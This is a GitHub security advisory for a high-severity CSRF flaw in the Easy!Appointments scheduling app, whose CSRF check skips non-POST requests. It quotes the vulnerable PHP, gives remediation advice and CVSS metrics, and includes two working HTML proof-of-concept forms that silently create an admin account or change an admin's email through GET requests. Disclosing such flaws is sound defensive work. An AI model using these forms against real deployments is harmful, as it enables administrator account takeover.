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alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass

High severity GitHub Reviewed Published Jan 15, 2026 in alextselegidis/easyappointments • Updated Jan 15, 2026

Package

composer alextselegidis/easyappointments (Composer)

Affected versions

<= 1.5.2

Patched versions

None

Description

Summary

application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52

  • Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5.
  • Vulnerable file & function: application/core/EA_Security.php::csrf_verify() — around line 52. Link: .../application/core/EA_Security.php#L52.
  • Root cause: The function early-returns when the request is not POST:
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
    return $this->csrf_set_cookie();
}

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

  • Examples of vulnerable endpoints (observed during testing):

    • index.php/admins/store — create admin (accepts fields via GET)
    • index.php/admins/update — modify admin (accepts fields via GET)
    • index.php/account/save — modify account/password (accepts fields via GET)

  • Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC

I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML)
Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
  <input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
  <input type="hidden" name="admin[last_name]" value="poc">
  <input type="hidden" name="admin[email]" value="poc@gmail.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0923092">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="admincsrf1">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="table">
  <input type="hidden" name="admin[settings][password]" value="changeme">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

another example for another endpoint

csrf_change_admin_email.html

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
  <input type="hidden" name="admin[first_name]" value="test">
  <input type="hidden" name="admin[last_name]" value="cve">
  <input type="hidden" name="admin[email]" value="test1@cve.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0101900">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="testn">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="default">
  <input type="hidden" name="admin[id]" value="1">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

  1. Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
  2. Require re-authentication or confirmation for critical operations (email/password changes).
  3. Set cookie flags: SameSite, Secure, and HttpOnly as appropriate.

Impact

  • Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
  • Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $_REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.
  • Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

References

@alextselegidis alextselegidis published to alextselegidis/easyappointments Jan 15, 2026
Published to the GitHub Advisory Database Jan 15, 2026
Reviewed Jan 15, 2026
Published by the National Vulnerability Database Jan 15, 2026
Last updated Jan 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-23622

GHSA ID

GHSA-54v4-4685-vwrj

Source code

Credits

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